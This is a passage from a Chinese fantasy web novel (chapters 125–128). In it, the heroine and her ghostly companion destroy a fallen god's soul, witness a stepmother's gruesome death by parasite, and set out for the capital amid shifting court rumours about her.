她的眼神有些愣怔,神情也有些恍惚,再看向仲卿时,偏执疯狂的眼底终于渐渐透露出痛苦之色。 “难道这世间,真的有报应吗?” 司徒音漓苦涩地笑了一下,可她的笑容还未维持一息,她的五官便狰狞地扭曲着,不甘心又痛恨,不舍得又忧伤,那双眼牢牢地盯着仲卿,像是要将他看透。 仲卿不擅男女之情,可被这样的眼神看着,他忽然就像是醍醐灌顶般生出了一丝疑惑。 难道司徒音漓对他…… 这个猜测,很快就得到了解答- 元司第一次产生了类似后悔的情绪,哪怕他当初从云端坠落,心里想的也是仇恨和不甘。纵然有过恐惧与慌乱,可他从未后悔参与这一场人与天搏的游戏。 而此时此刻,他又一次经历了风雨刮去他的身躯,叫他的魂魄打得千疮百孔之痛。除了痛之外,他还能听到身后传来的少女银铃般催命的笑声。 一个元司曾经厌恶嫌弃的凡人,手中握着一把不凡之剑,将他的魂魄剔下了千万片,他每一片被剔下的魂魄都会为她的火符锁定,变成和圣仙像里那些被他吞噬的灵魂一样的结局。 他看着自己的魂魄灰飞烟灭,甚至都不能化作这世间的一抔尘泥。 她在抹去他的存在,这比将他赶下云端还要令他可怕。 如若他从此以后于天地之间消失,这世上再也没有元司,谁又能证明他也曾是令人瞻仰的神明? 骄傲之魂,失败或许能打倒他,可真正能杀死他的,便是连他曾站过的高度也一并否认。 元司说尽了好话,云绡也不听,她与那把诛神剑几乎融为了一体,只要是她的意念所想,那把剑便分毫不差地如臂指使。 云绡故意发出笑声,又像是没握稳剑似的朝元司的魂魄边缘刺过去,锋利的剑刃蹭过在他的魂魄,就像烙铁入水一样升腾起白烟。 元司的哀嚎声不再像一开始那样清晰,他越来越虚弱,魂魄的颜色已经淡到几乎无痕。元司知道自己根本躲不掉,他越跑,云绡就表现得越兴奋,而他绝望地知道,这个时候没有任何人能救他。 元司一开始以为云绡握住诛神剑时有那么一瞬很像钟离湛,现在他觉得他们一点都不像,因为钟离湛虽会杀人,却不会如此玩弄人的理智和心防,以虐杀鬼魂为乐。 他像是突然想起了什么,如果云绡能有诛神剑,是否代表钟离湛就在附近看着她。 元司用尽最后的力气唤出了钟离湛的名字,他想求一个痛快。 堂堂天神,本应受万人敬仰,可这个时候他却恨不得跪在云绡或者钟离湛的面前,只求他们别让自己持续痛苦,他仅剩的残魂若以云绡方才的玩儿法,可能得熬到天亮。 他撑不住,他受不了! 曾经有无数人也这样跪在其他上位者的面前,恳求对方能放过自己,或干脆给自己一个痛快,甚至在心里默默地祈祷神明显灵,能赐这世间片刻安宁。 元司不知道吗?他知道的,可他完全不在意。 他怎么会听得到蝼蚁的痛呼声? 而今,他也终于成了任人宰割无法逃脱的蝼蚁,他无法抵抗云绡手里的剑,无法抵抗灰飞烟灭的结局。 他没有他自己装出来的那么清冷孤傲高高在上,他就是钟离湛曾说过的——会用尿去冲蚁穴的幼稚又恶劣残忍的孩童。 遇上棍棒,也能轻易抛弃尊严。 云绡并不是想以此让元司后悔,他这种东西,不配拥有悔不当初的机会。她就是要他害怕,要他抛弃尊严,要他体会一番被人玩弄的滋味。 既然他经历了,云绡就不用再在他的身上浪费时间。 那把银光灼灼的诛神剑,终于刺上了元司的魂魄,而那一瞬剧烈的痛处,却让元司觉得解脱。 诛神剑在这一回,发挥了它真正的用途。 云绡眼见着最后一丝蓝光成了灰蒙蒙的雾,夜风一吹彻底消散,元司曾经存在过这世间的所有证明,就只剩下那个此时已经被烈火灼烧至头顶位置,火光冲天,身化火柱的圣仙像了。 “谁在那儿!” 钟离湛收回了诛神剑,带动云绡的身体,云绡立刻反应过来,朝深林中的某一处凌目望去。 草叶动了动,对方没打算躲,没一会儿人影就从黑暗里走到了月色照耀的地方。 云绡看见站在月色下的人,有那么一瞬愣住,她很意外,片刻后才开口:“你……是沈旨?” 中年男人也有些意外:“仙子认得我?” 云绡愣怔,没想到这个男人居然会喊她仙子。 沈旨其实来得不算太晚,望月山的山顶上出现火光时他就走上来了。行至半途便看见一名裙色亮眼的少女在追一道容貌可怕又诡异的残魂。 结合这些天望月山上发生的事,沈旨多少有些猜测那残魂恐怕就是被司徒音璃养在圣仙像里的东西。 所以他跟上了云绡,并未隐藏自己,只是云绡跑得太快,他险些没追上,这才在看见对方将残魂彻底杀死之后,主动暴露了自己的位置。 他会叫云绡仙子,是因为普天之下,恐怕没有人的符咒之术能比她更厉害了,而她这样年轻,还有无限的前途。 至于云绡会认得对方,则是因为仲卿在说起他和司徒音璃的故事时,顺带提了一嘴沈家。 沈家是仲卿母亲的娘家,沈家家主是仲卿的舅舅,也就是司徒音璃后来想方设法嫁的男人。司徒音璃靠不光彩的手段迷惑了沈家家主很长一段时间,但并不代表沈家家主真的爱极了她,大约有三分真情,三分刺激,和四分利益。 后来司徒音璃也年老色衰,色衰则爱驰。 沈家家主在自己病倒在床榻之际,司徒音璃借机收拢沈家势力之时,和照料他的婢女迅速坠入了爱河,生了沈旨。 若从辈分上来说,沈旨是仲卿的表弟,还得喊司徒音璃母亲。 云绡方才一眼就认出他,便是因为沈旨居然和仲卿能有六分相似,这还是在仲卿已经成了个老头儿的状况下。 云绡想,若仲卿再年轻个三十岁,大约就是沈旨现在的模样,他们能像到九成! 他们的相貌,说是亲父子都没人怀疑。 云绡没回答沈旨的话,只是问他:“你怎么会在山上?” 仲卿说,沈旨如今也是古殿长老之一,莫非他也是为了元司的魂魄而来?若真是如此,他早就在,又怎么没出面阻拦她? 沈旨指着那团冲天的火,不急不徐道:“山上着火了,我来看看情况。” 云绡:“……哦。” 看上去,沈旨也不是救火的那一批……正好他们顺路,云绡也就许他跟在自己身后。 她没和沈旨闲谈,只是因为沈旨和仲卿像得她太好奇,所以一路上山,云绡看了他好几次/每一次他都笑脸相迎,性格好到完全没有脾气。 绵羊一样的男人。 这是云绡对沈旨的印象。 他没有仲卿的仙风道骨,没有世家子弟的矜骄高傲,整个人如春风暖阳,钟离湛甚至说,这个人恐怕还做过不少好事,身上的功德能看见微光了。 他也不对云绡的身份好奇,即便刚看了一场精彩的戏,也没提任何问题。 直到二人走到月坛处,数十层台阶之上,他们看见了正在对峙的司徒音璃和仲卿。 “母亲。”沈旨眸光微亮,像是庆幸司徒音璃还好没出事。 他疾步走上台阶,逐渐朝司徒音璃靠近,完全没有看见在一旁双眼几乎要从眼眶里瞪处来的仲卿。 仲卿往后退了几步,他当真被吓到了。 云绡则跳到他身后,小声嘀咕:“是不是像照镜子一样?你也就比人家老了三十而已。” 仲卿:“……” 二人还在因为沈旨的容貌惊诧,碎碎念之际,云绡的眼前突然一黑。 钟离湛的手捂住了她的双眼,她只听得到身旁仲卿倒吸一口凉气,而后便是血腥味传来。 那个绵羊一样的男人,温润的声音低声道:“母亲别怕,听说这花开起来很漂亮,你一定能在闭上眼之 前,看见它。” 第126章 身体里种了神鬼蛊,神鬼蛊又被启动之人,其实并不会立刻死去,只要快速将心口里的神鬼蛊挖出来,就还有活下去的机会。 云绡之前便是因为出手够快,尾人族的徐长老才能保住一条命,虽说现下也没传出他苏醒过来的消息,可至少他还活着,活着,才有醒过来的机会。 司徒音璃也想活着,她的眼神充满了恐惧,她感受到了生命急速地消失,手脚发麻,甚至能听到血液加速汇聚于心口、心头猛烈的跳动声。 可没有一个人救她。 云绡被钟离湛捂住了眼,仲卿没反应过来,便是反应过来之后也踌躇着没有上前。而想要她死的男人,正用着温柔的语调,冷漠的表情,一眼也不眨地看着她消亡。 据说人于死前,能回顾自己的一生,司徒音璃这个时候脑海中出现的最多的那个人,却避她如蛇蝎。 她错了吗? 司徒音璃不认! 她只能用尽最后的力气,朝那个人看去,她的视线已经模糊,她张了张嘴想要喊出对方的名字,最后看见的,却是他晃动的衣袂——他又往后退了一步。 司徒音璃就这么死去了,天时地利都不对,她身体里的神鬼蛊并未炼成,她自然也没有看见沈旨所说的从她身体里开出的漂亮的花。 不过沈旨对那花开不开,也无所谓。 他看着司徒音璃的惨状,看着她的身体被神鬼蛊苏醒后的咒文钻得凹凸不平血肉模糊,看着凡地花才开了一半便枯死,来不及成为养分的鲜血顺着白玉阶梯一层层往下流淌,鲜红了一片,他的心里也没那么畅快。 不过是解决了一个……早就该死的人而已。 “抱歉,污了各位的眼了。”确认司徒音璃已经死透了,沈旨才慎重地再看向仲卿。 云绡的眼睛仍然是被钟离湛的手掌遮挡的,恐怕是因为司徒音璃死得太恶心,不忍直视。 仲卿摇了摇头,是有些吓人,司徒音璃死得太突然,他心里还有些别扭。 仲卿原本以为,凭他的诛心之言,说不定能将司徒音璃气死,却没想到他还没想好究竟要司徒音璃怎么死才算报仇,有人的手这么快,先一步便结束了这一切。 这显得他方才和司徒音璃的对峙,显得十分没有意义。 仲卿的目光还一直落在沈旨的脸上,可沈旨却对他们长得如此相似没有半点意外,也不打算对他突然就唤醒司徒音璃身体里的神鬼蛊让她死得如此惨烈做出什么解释。 避开司徒音璃的尸体,钟离湛才将手从云绡的眼上拿开。 云绡道:“我又不是没看见过。” 显帝死时,她就那么睁大眼睛大咧咧地看得仔细呢,也不见钟离湛特地上来捂住她的眼。 钟离湛要怎么回答云绡,他那个时候其实没有那么在意云绡看见了多恶心的东西……今夜之所以会捂住她的眼睛也是因为云绡从符玉城出来之后便没吃东西了,爬山消耗了体力,让元司灰飞烟灭也消耗了许多气力,等会儿下山了一定会饿。 看见司徒音璃的死状,她会恶心得吃不下饭的。 钟离湛想了想,只转移话题:“既然元司已除,我们明日动身回京都?” 云绡正要答应,身后突然传来了一道惊呼声。 被他们遗忘在半山腰很久的徐容靳终于还是来山顶上了。 他本来是带着重要消息过来的,可在看见仲卿和沈旨后,惊讶于二人的相貌,一时忘记自己要说什么了。甚至在脑子里胡思乱想他这一路走来也碰见过许多神鬼之说,该不会是山顶上有什么返老还童之法又或者是时空穿梭之术,所以才让他看见了年轻的仲卿? 徐容靳本能地往年长的那个仲卿靠近。 沈旨见他怀中抱着两只野鸡,风风火火地上山,又小心翼翼地避开他,实在有些好笑,便温和地朝徐容靳颔首打了招呼。 他一笑,徐容靳就觉得他不太像仲卿了。仲卿只有板着脸的时候显得精明,一笑起来就不聪明了,而沈旨笑起来给人一种他就该一直笑着的感觉。 徐容靳后知后觉地看见了司徒音璃的尸体,又一次吓一跳,而后想起自己上山的目的,连忙道:“义父,云绡,咱们得走了,山下突然聚集了好多人,恐怕是这山上的火势太大了,他们全都往山上冲呢。” 几人朝圣仙像看去。 其实圣仙像的火光已经逐渐变小了。 玉像中的魂魄被云绡的火符烧了个干净,可月坛上的怨气尚在,还得做场法事才能将这些枉死的冤魂之怒平息了。 剩下的这些事,沈旨很体贴地全都包揽了。 “诸位若有要事就请快些离开吧,山下的人在下也认得,我会和他们好好解释的。” 闻言,云绡和仲卿还有些懵,她没弄懂沈旨半夜爬趟山就为了弄死他的嫡母,还对他们这些明显是来破坏圣仙像的外来人颇具善意,很奇怪。 其背后原因,云绡隐隐有种感觉,应当和仲卿有关。 她问仲卿:“你都快到家门口了,要不要……” “不了。”仲卿摇头。 梁家认得他的人本就没剩下几个,他在知道显帝之死另有隐情之后也没打算回答湖族了。湖族和他相隔太远,唯一算得上是有些仇怨的人,已经躺下了。 沈旨莫名对他们友善,也没多做解释,他目送云绡几人从原路返回,避开上山的那一批府卫,已经走到没了身影了,他脸上的笑容也仍然没有消失。 那些恶心的事,沈旨不会说给仲卿听的,他没必要在一个那样年迈的人的人生里,添上一笔恶臭。 沈旨是第一次见到仲卿,却已经无数次听到过他的名字了。 沈旨知道司徒音璃所有的秘密,知道她内心真正喜欢的人是仲卿,知道她的不老丹来自于东洲望月山上的一个天神残魂的赐予,也知道她一直在寻觅她攀至高位的意义。所以她倾佩圣仙,圣仙从一个寻常女人,成了人人供奉、流传千年的神女。 她想或许只有她让湖族人掌控了五族,成为五族之首,她也就达成了她人生的巅峰。她也可以名留青史,为后世人所瞻仰,这样就能证明,她过去放弃的全都值得,她过去走过的全都不算错。 沈家家主病榻之际,司徒音璃四处拉拢氏族,沈家家主知道自己心爱的女人怀孕了之后,便将她送得远远地,送到了东洲,命人看守,生怕沈旨和沈旨的母亲会被司徒音璃伤害。 所以很长一段时间,司徒音璃并不知晓沈旨的存在。沈旨也在东洲乡野长大,一江之隔,他从未看见过他的父亲。 直到他十四岁那年,遇见了从望月山上下来的司徒音璃。 她看见沈旨的第一眼便觉得他像极了仲卿,原本她以为沈旨是仲卿的孩子,她甚至怀疑远在京都的那个国师或许另有其人了。 可后来调查一番,司徒音璃才觉得可笑,她的孩子那个时候已经能够独当一面,突然冒出来一个和她抢夺沈氏家产之人,她如何能高兴。 可她又有些庆幸,庆幸沈旨不是仲卿的孩子。 仲卿像他的舅舅,沈旨也像他的父亲,两个人的血缘关系在这个时候奇妙地从五官上体现了出来。 沈旨带着他的母亲回到了沈家,是被迫的,可他也别无选择。 直到他越长越大,在十九岁那年,司徒音璃突然对着他喊出了梁仲卿的名字,她毫无羞耻地对一个能当她孙子的孩子说出了她的诉求。 沈旨被她吓到了。 纵使他天资聪颖,早就发现这个嫡母看他的眼神不对劲,可他也从来没想过她每一次看过来的眼神,都是那种令人作呕的含义。 那天他呕了大半夜,自此不敢出现在司徒音璃的跟前。 然后司徒音璃便抓住了他的母亲。 那不是司徒音璃第一次动用自己的权势,她利用着一个尚未弱冠的少年的孝心,来达成 她那可耻的、罪恶的、弥漫着恶臭的私心。 沈旨有过反抗,司徒音璃的手段却更多,她折磨沈旨母亲的所有时刻,都逼着沈旨睁开双眼看着,沈旨崩溃之后,只有妥协。 她是个疯子。 她对着沈旨喊梁仲卿,她问梁仲卿为何当初在她哭诉司徒家的真千金已经和沈家嫡长子定亲之后,为何不敢为了她和梁伯昀争一争? 他们明明是未婚夫妻,为何他要替那真千金说话,为何要说那些旁人都说过无数遍的无用的安慰?为何就不能和她同仇敌忾? 她又问他,为何在她逼着司徒家为自己做主,胁迫梁伯昀要娶她的时候,他不愿站出来反对?为何要亲眼看着她一步步身陷囹圄,从此以后在这权势的泥沼里挣扎,不得脱身。 她的疑问,沈旨回答不了,但沈旨是个正常人,他弄不懂疯子的心思也不足为奇。 司徒音璃为了让他更像仲卿,甚至让他成了古殿长老之一。 可沈旨内心的罪恶一天比一天多,他永远也无法洗清自己身上的污秽,他也不敢再靠近自己的母亲。 好似他能做的,就是去到那些不认得他的人群中,替一些人解决他们无法解决的困境。 他希望有个人能救救他,就像他也正在救这些可怜人一样。 他仍然相信,善恶有报。 而后,他遇见了一个黑衣神秘人,那个神秘人说他的身上有功德,他要用他的身体,做一个研究。 沈旨从那个黑衣神秘人的手里换来了一枚神鬼蛊,他不在意自己是死是活,他要的是有朝一日,他能够从这种罪恶的丑陋的关系中解脱,手刃仇人。 沈旨没敢轻举妄动,因为司徒音璃在望月山上有倚靠,她的不老丹都来自那位天神的残魂,他不知如若他对司徒音璃动手,是否会有什么反噬。 他不是怕死,他只是不想自己死得可惜,最终司徒音璃却无事。 今夜,沈旨亲眼看见云绡追着被司徒音璃供奉了数十年的天神残魂,将他歼灭。而他,也迫不及待地爬上山顶,迎来他和司徒音璃的结局。 司徒音璃的血液流到了沈旨的脚边,他嫌脏一样往旁边挪了一步,再抬头看向明晃晃的月亮。 银月皎皎,夜风送香,明天应当会是个好天气。 - “义父,你该不会是你舅舅的私生子吧?”徐容靳问出了一句蠢问题,立刻被仲卿朝着后脑勺上拍了一巴掌。 半路认的父子二人正在互怼,云绡和钟离湛也在说着悄悄话。 “我记得,徐容靳说过沈旨的身上也有神鬼蛊吧?”云绡问钟离湛:“他身上的神鬼蛊应当就是何舜所下,何舜……为何要找沈旨下神鬼蛊?” 沈旨虽是沈家家主之子,可神鬼蛊也得选定合适的、拥有五族之上神明赐予力量后血脉最纯的那一支,才能有更大的概率被炼化成功。 否则就会像司徒音璃一样,凡地花开至一半,叫人死成了一滩烂泥。 钟离湛道:“他找的人,要么是身份地位极高的,要么便是如同沈旨、谢尧钰这样,自身功德极深的。找身份高的人炼就神鬼蛊,找功德极深的,则可能是为了给我的魂魄找一个合适的身躯。” 沈旨和谢尧钰,都是在东洲长大的。 谢尧钰更适合,是因为谢尧钰是钟离氏的后代,所以沈旨是他退而求其次的选择,又或者是他广撒网的鱼群之一。 皆是天下可怜人,也都是被他人掌控了命运的棋子。 第127章 如钟离湛所料,云绡下山走到一半肚子就饿得抗议,偏偏冬季的山里没什么能吃的东西。 还是徐容靳的两只小野鸡提供了方向,众人找到了一簇赤阳子,已然熟透,鲜红的果实压垂了枝桠,触手可摘。 徐容靳和仲卿看见赤阳子都没有想吃的欲望,只有云绡瞧着红彤彤的果子,嘴里的酸水儿往外直冒。 此时就不得不提钟离湛的先见之明,因为仲卿和徐容靳都见过凡地花在人的身上开至一半的场景。司徒音璃身上密密麻麻的血疙瘩都爆裂开,从毛孔缝隙里生出花枝又枯死血淋淋的画面,实在让他们能噩梦三宿。 仲卿和徐容靳恐怕很长一段时间都不想吃肉,更看不了这样密集生长成熟的红色果实。 云绡扯了一大把赤阳子,行至半途的山路也不想走了,索性周围没有其他人,她干脆就赖在钟离湛的背上。 钟离湛欣然接受,他半蹲了下来,云绡直接一跳,轻巧上背,被他背了起来。 冬季深夜里的山林很冷,钟离湛的身上暖呼呼的,熨帖着云绡的心口。绵软压在脊背上,触觉清晰,二人的心跳都在这一瞬加快了许多,可谁也没就此尴尬的触碰而开口。 钟离湛的手,穿过了她的膝窝,小心翼翼地掌住了她的腿,没再往深处探去。 云绡的双手环住他的脖子,让自己在他的背上更牢固点儿。 她手里那把沉沉的赤阳子有些枝桠穿过了钟离湛的魂魄,随着他每一步走动,在他心头的位置晃荡,就像有什么柔软的东西挠着他的心口,又痒,又有些赤阳子果实味道的酸甜。 云绡懒洋洋地吃着果子,饿得难受的胃被缓解后,心里那点儿害羞的别扭也渐渐变得习惯。她枕在钟离湛的肩上,可以近距离地看见他的耳垂,他下颚的轮廓,还有他高挺的鼻梁和英俊的侧脸。 看着看着,云绡便困倦地睡了过去。 于徐容靳的视野里看过去,钟离湛背着云绡一路,二人沉默地走在前头,带领他们离开望月山。银月化作披在他们身上的薄纱,遮蔽了深夜里的寒风,有些温馨美好,让他短暂地觉得,人生也不必要像仲卿一样孤独终老。 而仲卿……他的视野里看不见钟离湛,他只觉得诡异。 森白的月色下,沉睡的云绡仿佛死了一样手脚放松,以一种怪异的姿势悬空,那垂挂下来的手臂和小腿还晃啊晃的,晃得他头皮发麻。 云绡在钟离湛的背上睡了沉沉的一觉。 这一觉她做了场梦,她梦见了两千多年前,她的魂魄即将离开,而钟离湛身陷火海,不得动弹之时。 她看着从天而降的诛神剑,还是义无反顾地冲了过去,那把剑从她的身侧划过,坠落的瞬间变得那么缓慢。 钟离湛额心的那道血线,在那一刻变成了金色一样耀眼,可能是因为火光的缘故,也可能是因为梦境总会与现实有些差别,云绡和他对上了目光。 她的视野里,钟离湛竟然朝她露出了一抹笑,他的眼底没有对死亡的恐惧和遗憾,他的唇一张一合,对云绡吐出了一句话。 “未来相见,小仙女。” 这好像才是她回到过去后,看见到的钟离湛死前真正的画面。 而后云绡就醒来了。 醒来时天已经亮了,云绡不是趴在钟离湛的背上,而是趴在了马背上。 马儿走得不快,道路也不算崎岖,所以云绡居然连 自己是怎么从钟离湛的背上变成了趴在马背上也不知晓,全程没醒来。 云绡这匹马的缰绳被仲卿牵着,徐容靳领着马在前头带路,钟离湛则如往常一样,顺应他和云绡之间的羁绊,马跑多快他飘多快。 云绡身下这匹马的马鞍旁还有布兜,布兜里头装着她在望月山上采摘没来得及吃完的赤阳子。 徐容靳说,云绡给他的金子实在是花不完,所以他这次买的是千里马,不仅马买了最好的,还给他们都买了新衣裳,每个人都能披件防风的大氅。 云绡对他竖起大拇指,裹紧身上的大氅,看着逐渐靠近的霖江。 他们这次还是要坐船,逆流而上,去永安城。再沿着永安城往北走,将他们的来时路重新再踏一遍。 仲卿告别了湖族,他年龄摆在这儿,当初离开京都时想过此一生恐怕永远也不会回到京都,而今去京都时又想着,他或许真的永远也不会再踏入故土。 从始至终,他和湖族都隔着一条霖江。 在东洲看不到湖族的土地,而他爬上望月山最高峰时,也没想过回头眺望一眼江对岸。他的心于二十多岁那年漂泊于尘世,或许此生都找不到尘埃落定的居所。 但不重要,仲卿仍然没有回头,没有不舍。 过去与他有关的,都离开了人世。 后来与他有关的,一个在前头牵马,一个在后头吃赤阳子,就在他的身边。 - 回京一路比他们来时要快上许多,越过霖江后,天彻底入了冬。 在他们离开永安城往渡仙城去的途中,经过一个茶棚坐下来喝口热茶休息休息,竟然还能听到一些过路人提起渡仙城之事。 那桌几个人凑堆闲谈,说渡仙城外不时传来鬼哭狼嚎,叫那些企图去渡仙城里寻一寻是否还残留什么宝贝的投机者望而却步。 云绡听见这话时忍不住朝另一桌的人看去,见那桌人从外观去看分了两批,一批都佩着刀剑,坐着时腰背挺直,看着不像寻常百姓。 另一批身形健硕,虽没佩戴明显武器,可手上有厚厚的老茧,瞧着像是练家子,应当是走江湖的。 云绡和钟离湛对视,留了个心眼。 喝了热茶,几人的身上都暖和了,闲谈的人起身,两批果然朝着不同的方向走。 两个走江湖的和四个官差拱手告别,还提醒他们若要去曦族可以,但千万别往东洲跑,那里正在盖建圣仙像,听人说那圣仙吃人,多半是有去无回的。 便衣官差闻言道谢,走了才没一会儿,几人便察觉背后有道寒意逼近,他们霎时间拔出长剑,贴着彼此的后背,目顾四周。 云绡和徐容靳从一旁的林子里走出来。 徐容靳看上去很能打,成了那几个人防备的首要对象,而云绡这个瞧着柔柔弱弱没什么威胁的小姑娘不被他们放在眼里。 就在他们的目光都朝徐容靳看去时,云绡便联合仲卿在他们脚下设了阵法,直接一网打尽。 没有兵刃相见,结束得猝不及防。 四个官差只来得及呼吸几口冷气,便齐齐丢盔卸甲,浑身无力地坐在原地。 几人的眼神中都充满了惊恐,只觉得自己遇见了什么妖法!当云绡和仲卿一左一右走到他们面前,他们才认出了仲卿那张脸。 “你是仲卿仙师!” 惊讶完了之后,几人才将目光落在云绡的身上:“那你一定是十一殿下了。” 云绡:“……” 所以认她得靠仲卿是吗? 徐容靳:“……” 总比他只是个负责声东击西的工具人要好得多,他在这些人的眼里没有姓名就算了,当仲卿和云绡出现,他连个身份都没有了。 徐容靳叹了口气,再看一眼站在云绡身边的钟离湛,心里暗暗想着人还是要靠衬托的,钟离湛别说是身份,那几个人甚至都看不见他。 这么一想,徐容靳觉得自己心情好多了。 似乎是察觉到了徐容靳貌似同情的视线,钟离湛回过头朝他看了一眼,徐容靳赶紧低头摸一摸鼻尖,恨不得隐形。 云绡朝几人道:“我问,你们答,若你们的回答令我满意,我就可以考虑不杀你们。” 四人面面相觑。 云绡挑眉:“怎么我看上去这么没有威慑力吗?在你们的眼里,我难道不是主导杀死显帝的坏蛋吗?” 她之前从旖族出来之后抓到的那几个宫中禁卫军的口里,听到的便是这样的传言啊。 不过很显然京中传言一直在变。 云绡没想过,有一天京中那些关于她的传言竟然会变成褒奖,甚至……诡异地要将她捧上一个莫名其妙的至高地位之上。 四人内的其中一人道:“之前京都的确有传言,说十一殿下生来不详,是不伤之躯,故而想妄图成神,这才弑帝。这些传言人云亦云多,智者却是不信的,毕竟十一殿下从未做过什么伤天害理之事,仲卿仙师就更没有要帮助您弑帝的理由了。” 云绡扯了扯嘴角:“……” 这话这人敢说,她都不敢信。 四人中的另一人有道:“后来新帝继位,便命人私下调查过此事,谣言竟然传自于晨妃处。晨妃所出三皇子因无缘帝位后便对新帝心生怨恨,他将这一切源头都归咎于在九殿下云宓杀死逍遥王幼子周泉礼上,因此事让晨妃与显帝离心,他也不得先帝宠爱。 而……十一殿下与九殿下云宓,还有周泉礼事件中也占据一个位置,您又是当中唯一一个活下来的,他便将所有矛头全都指向您,想要恶化您的名声。他先是弑帝,后辱您之名,下一步便是将您和新帝绑在一起,以谣言控诉新帝登基是与弑帝罪人达成了某种交易,这才……” 云绡简直无话可说。 仲卿可忍不住:“怎么的?欺负我们俩不在京中,你们想怎么说就怎么说?我等是好是坏,全凭你们的一张嘴?” “这话不是我们说的!”其中一人赶忙开口:“这话,是新帝调查出来真相后,三皇子跪在殿前,当着文武百官的面亲口承认的。就连逍遥王也是三皇子所杀,因为周泉礼之死,让三皇子连带着记恨了逍遥王,仲卿仙师也是因为此事被连带牵连了。” 有理有据,云绡双手一摊:“我找不到质问的理由了。” 怎么听,怎么都怪。但人家说得毫无破绽,而且竟然都能圆上,这简直不像是紧急情况下为了让自己活命胡编乱造出来的假话。 而且他们若说了假话,钟离湛早就告诉云绡了,可钟离湛听到现在一个字都没反驳,可见这些人来此目的,还真不一定是追杀她和仲卿。 沉默了会儿,钟离湛才对云绡道:“问问他们,既然你被洗刷了弑帝的冤屈,京中如今又是如何传你的?” 云绡顺着钟离湛的疑问问出口。 最后那个没开口的人这个时候抢答了:“京中提起十一殿下的都是好话!之前说十一殿下生来带煞,为不伤之躯,而新帝寻来的新国师测算了十一殿下的八字竟然与凌国开国之日极度契合。您不是生来带煞,而是生来祥瑞,不伤之躯,也是与国运相随。 此番京都调派三千传圣军,就是为了寻回十一殿下,护送您回京的。” 云绡:“……传圣军又是什么?” “您一回京,便会被任命为圣女,我等都归于您的麾下听您指挥,这是新帝给您的荣耀呢!” 云绡又开口:“等等,你们说的新国师,又是何人?” 她的心里已经有猜测了。 钟离湛也知道她要说的是谁。 可这四个人却不知新国师的身份,毕竟他们从来没见过,也没人听过新国师的名讳,只有官居高位者有幸见过国师背影,凡是见过国师者,无不信奉诚服。 国师都说十一殿下是天命所归,谁又敢置喙? 仲卿听着那几个人一半在说云绡的好话,一半在吹捧新国师的能力。 于是他只能:“……” 徐容靳站在仲卿的身后幽幽叹了口气:“看来没你什么事儿呢,义父。” 仲卿:“你闭嘴!” 没他的事儿,就更没这个傻大个 的事儿了! 云绡倒不认为如此,她想到了钟离湛千万里赴死之前,何舜传来的那封信。 她总觉得这个人是故技重施,什么寻她回去,天命所归? 恐怕还是一场针对她的鸿门宴。 偏偏云绡陷入了和钟离湛过去一样的僵局,她不回去,都不行。 第128章 那四个人终究还是没能活成。 在杀死他们之前,几人还为自己求饶拖延死期,说云绡明明答应了只要他们回答了她的提问,就会不杀他们。 云绡一脸无辜道:“我只是说我会考虑,又没说我一定不杀,况且,我没动手啊。” 杀人这么残忍的事,她年纪太小,仲卿年纪太老,还是交给身体和年龄都比较适中的徐容靳吧! 从小连只鸡都没杀过的徐容靳:“……” - 把尸体就地以符化去之后,云绡几人便继续赶路了。 入夜到了渡仙城,一靠近便能听见云绡留在那里的石符发出的鬼哭狼嚎的声音,不过因为知晓此地外的阵法是他们留下来的,几人便就近找了个能遮风挡寒的地方暂且度过一夜。 仲卿冷,吃完晚饭就和那两只小野鸡抢占徐容靳怀里最佳取暖位置。 他甚至因为嫌弃两只小野鸡长大了太占地方,把咕咕和啾啾丢去一旁,面对徐容靳控诉的眼神,理直气壮道:“我是你爹你不抱我你抱谁?” 这话一出,直接把徐容靳脸都给说热了。 他耳鬓通红,瞪大了眼睛道:“你能不能到了这个年龄就拿出点年长的沉稳来?别总老不正经了!” 仲卿叹气:“傻点儿好,傻点儿不和我老人家计较。” 徐容靳呵呵:“傻的时候我喊你大哥,现在我可喊你义父呢。” “你要是愿意,我也不介意重新当回大哥。”仲卿心想他都这把年纪,早知天命,都没几年活头的人,回到京都连国师都当不了了,要那么多脸皮做什么? 徐容靳想了半天,只能憋出一句:“我只抱我未来媳妇儿的!” 仲卿:“……那让你爹我靠着也行。” 云绡听那二人日常互贫,甩了甩洗净的手,干脆走出去,沿着焦黑的街道吹了会儿冷风,消消食,给他们俩私人相处的时间。 究竟是要当父子还是当兄弟又或是夫妻,他们自己想好了再说。 钟离湛自听那几个人提起此番京都关于云绡传言的变化,便有了许多猜测。 他虽然失去了一部分的记忆,直至此时也没有找回来,可这不代表钟离湛不记得何舜了。 在渡仙城,他附身于云绡,用诛神剑杀死谢尧钰的那一刻,何舜的傀儡站在陇山顶上遥望着他,钟离湛与他有过短暂地交锋。 傀儡之相,传自于其本体。 彼时钟离湛扯下了傀儡黑色面纱,看见的是一张狰狞的、爬满了疤痕的脸。那张脸被烧得面目全非,完全辨别不出其本来样貌,所以当时钟离湛虽然觉得对方似乎有些眼熟,却也没有往何舜的身上去想。 一来,何舜是个凡人,他是五族中的人族,没有通天的本领可以让自己长生至两千多岁。 二来,何舜的身形与那个神秘人也不像,他没那么高。 可九星连月阵中,云绡看见的画面告诉钟离湛,那个人就是何舜无疑。 他之所以面目全非,是因为钟离湛在死之前被困在那座虚假的宫殿里,火符焚身之际,何舜呼喊着他冲入了火海。 而他能活到两千多岁,甚至连身形都更改了,便是因为苍穹云端之上那些目睹这一切,满心恶劣的神明,对他的奖赏,也是惩罚。 钟离湛因何而死,死前经历了什么,云绡都在她从过去回来之后便告诉了钟离湛。而钟离湛在她的灵魂和身体重新融合的那一觉里,也打开了卷轴,看清卷轴上的内容,窥见了天界人间的真相,找回了部分回忆。 即便如此,他和云绡都没有就何舜的话题深入交流,二人之间的默契让他们都知道彼此心中所想。 云绡怕钟离湛会难过,因为是她亲眼看着钟离湛一点点为何舜铺好了今后的道路,好让他成为下一任五族之首、人间帝王时,可以游刃有余地度过很长一段世间。 至少在他在位之期内后顾无忧。 却也是何舜一纸八百里加急,用无数人的血肉和性命,堆砌成了封锁钟离湛神魂的宫殿,他和那些曾经受恩于钟离湛的人,将钟离湛杀死在了苍生黎明之前。 何舜之所以会这么做的理由云绡想不到,她只看到了他最后冲入火海喊着“君上”,或许有那么一瞬间他是后悔的,可他仍然是叛徒。 “一个叛徒而已,不值得你伤神。” 见钟离湛就连他们俩独处时都是沉默着的,云绡到底还是戳破了这层默契,开口安慰他。这也是继她醒过来潦草地对钟离湛说了一番他死前之事后,第一次提到何舜。 